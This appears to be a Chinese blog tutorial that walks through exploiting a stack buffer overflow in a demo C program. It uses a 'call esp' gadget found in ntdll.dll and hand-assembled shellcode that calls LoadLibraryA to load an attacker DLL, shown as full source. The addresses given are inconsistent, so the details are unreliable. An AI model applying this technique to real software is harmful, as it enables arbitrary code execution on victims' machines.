如何利用缓冲区溢出的程序错误来运行黑客程序(续)

 

上回说了,我们可以在一个有缓冲区溢出漏洞的程序中执行程序中其他的函数,当然,也可以执行程序中其他的指令。还是以上次讲过的程序为例:
程序A:
#include <stdio.h>
#include
<string.h>
void foo(const char *input)
{
    
char
buf[10];
     strcpy(buf, input);
}

int main(int argc, char *argv[])
{
     foo("1234567890123456123456123456");

    
return 0;
}
 
启动VS 2005,然后将断点设在函数foo中strcpy的后面,断点执行到了以后,进入反汇编窗口,单步执行到该函数最后一行汇编指令,也就是ret指令,在内存窗口中查看寄存器esp保存的内存地址所存放的值,当然你的内存窗口的显示方式应该是4字节显示方式(x86或者说是32位机器上)。你可以看到该值也已经被foo的参数12345678那些字符串覆盖了,然后你可以看看esp的值和ebp的值刚好相差8个字节。就是说,内存中的形式是这样的:
 
               ebp的值                           esp的值
                   ^                                 ^
                   |                                  |
                --------------------------------------
               |            |函数返回地址|            |
               ---------------------------------------
而你再看看foo函数最后几个汇编指令:非常标准的函数退出时,所作的栈销毁操作:
 mov esp ebp
 pop ebp
 ret
 
在ret指令执行完成以后,esp的值就会是foo函数的ebp + 8。
 
如果我们在esp所指向的内存地址上存放我们的shell code(或者说是我们刻意编写的汇编代码),然后将函数返回地址更改为调用我们的shell code的地址,那么我们所编写的shell code也就会被执行,这时就可以干任何我们想干的事情了,;)。
 
下面是步骤:
 1,编写一个dll,其实exe程序也可以,只不过方法略有不同,如果你是直接执行exe程序的话,可以使用WinExec。这里因为我要导入我编写的dll进入程序A,所以使用的WINAPI函数是LoadLibrary,LoadLibrary需要一个参数,指明要加载的dll的文件路径。
 2. 在我编写的dll中,处理的事情很简单,就是启动一个程序,呵呵,下面是源代码:

#include

 

"stdafx.h"
#include
<stdio.h>
#include
<windows.h>

#ifdef
_MANAGED
#pragma managed(push, off
)
#endif

BOOL APIENTRY DllMain( HMODULE hModule,
                                   DWORD ul_reason_for_call,
                                   LPVOID lpReserved)

      STARTUPINFO si;
      PROCESS_INFORMATION pi;
      ZeroMemory( &si,

 

sizeof(si) );
      si.cb =
sizeof
(si);
      ZeroMemory( &pi,
sizeof
(pi) );

     
switch
( ul_reason_for_call )
      {
           
case
DLL_PROCESS_ATTACH:                // 每次一个新的进程加载该dll的时候,触发这个条件
                   WinExec(
"C://WINDOWS//notepad.exe"
, SW_SHOW);
                  
break
;

           
default:
                  
break
;
       }

       return
TRUE;
}

#ifdef

 

_MANAGED
#pragma managed(pop
)
#endif

3.为了调用LoadLibrary,我们需要写一些汇编指令,因为cpu执行的是机器码,而不是汇编指令,所以你要将汇编指令转换为机器码。转换很简单,在你的代码里面加上下面这几行:

int main()
{
    _asm {
          jmp esp
   }
}

将断点设置在main函数的开始处,执行程序,程序中断后,去反汇编,你会看到类似下面的代码:

00401763 FF E4 jmp esp

 

 

00401763是这段汇编码在程序中的地址,FF E4就是jmp esp对应的机器码了。呵呵,如果没有FF E4出现的话,在反汇编窗口中右键单击,选择“Show Byte Code”(VS 2005英文版)。

现在腰调用esp中的地址,可以是jmp esp也可以是call esp,但是这个代码必须是进程中已有的,OK,我们在程序中找到这个地址。再次运行程序A,在main函数中设置断点,中断后,选择Debug -- Window -- Module查看这个程序所有加载的dll(无论是动态的还是静态加载的)。程序A中不出意外的话应该有kernel32.dll和ntdll.dll,还有可能有msvcrt8.dll。

我们找一下这些dll里面有没有对应的机器码,怎么找?怎么把一个dll反汇编?呵呵,VS 2005里面自己就带了一个反汇编工具:dumpbin,路经在C:/Program Files/Microsoft Visual Studio 8/VC/bin。dumpbin有一个选项/disasm就是将任何一个PE文件(DLL或EXE)反汇编

打开cmd窗口,执行dumpbin /disasm c:/windows/system32/kernel32.dll | findstr /c:"FF E4",哦哦,没有。再试ntdll.dll,还是没有。试一下call esp,它的机器吗是FF E5。kernel32.dll里面没有,啊哈,ntdll.dll里面有,这是搜索结果:

         7C914393: FF E5              call        esp

4.编写shell code,调用LoadLibrary,需要知道LoadLibrary函数的地址,获取的办法是这样的:LoadLibrary是在kernel32.dll中的,启动Depends.exe,Depends.exe包含在Windows SDK中,你也可以去网上搜一下,下载一个回来用,实在找不到,那我就牺牲一下自己啦。

随便用depends打开一个exe文件,在左上角的依赖树里面点击kernel32.dll,在右边第二个窗口中找到LoadLibraryA这个函数,可以看到它的Entry Point是0x000445EF,如下:

E  | Ordinal          | Hint              | Function                          | Entry Point
---------------------------------------------------------------------------------------------
     754 (0x02F2)  | 753 (0x02F1) | LoadLibraryA                   | 0x000445EF

操作系统不一样,值可能不一样,在最下面的窗口中找到kernel32.dll的base address(Preferred Base)是0x77E00000,如下:

Module                 |      ... 中间很多省略 ...  |  Preferred Base
-------------------------------------------------------------------------
Kernel32.dll          |                  ....               |  0x77E000000

将Kernel32.dll的Preferred Base和LoadLibraryA的Entry Point按位于就获得LoadLibraryA在你的程序中的地址是:0x77E445EF。

5。最后编写汇编代码执行你的黑客程序:
        _asm {
                 mov eax 0x77E445EF        // 将LoadLibraryA的地址存在eax寄存器中
                 call L4
           L2: call eax                           // 调用LoadLibraryA,程序执行到这段指令时LoadLibraryA的参数已经压栈
           L3: jmp L3                            // 循环,确保被黑的程序不会死掉
           L4: call L2
       }

6。最后,示例程序如下:

#include

 

<stdio.h>
#include <string.h>

void func(char *p)
{
      
char stack_temp[20];
       strcpy(stack_temp, p);
       printf(stack_temp);
}

void foo()
{
       printf(
"This should not be called");
}

int main(int argc, char *argv[])
{
      func(
"I AM MORE THAN TWENTLONG/x93/x43/x91/x7C"
              
"/xB8/x77/x1D/x80/x7C"                                                   //      mov eax 0x771D807C LoadLibraryA的地址
             
"/xEB/x04"                                                                       //      call L4
              
"/xFF/xD0"                                                                      // L2: call eax
             
"/xEB/xFE"                                                                      // L3: jmp L3
             
"/xE8/xF7/xFF/xFF/xFF"                                                 //  L4: call L2
             
"c://hack.dll/0");                                                            // LoadLibraryA的参数,也就是我们要刻意加载的dll文件

       return 0;
}

完了,累死了

 

                        

                        

 

 

                        

 

 

 

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值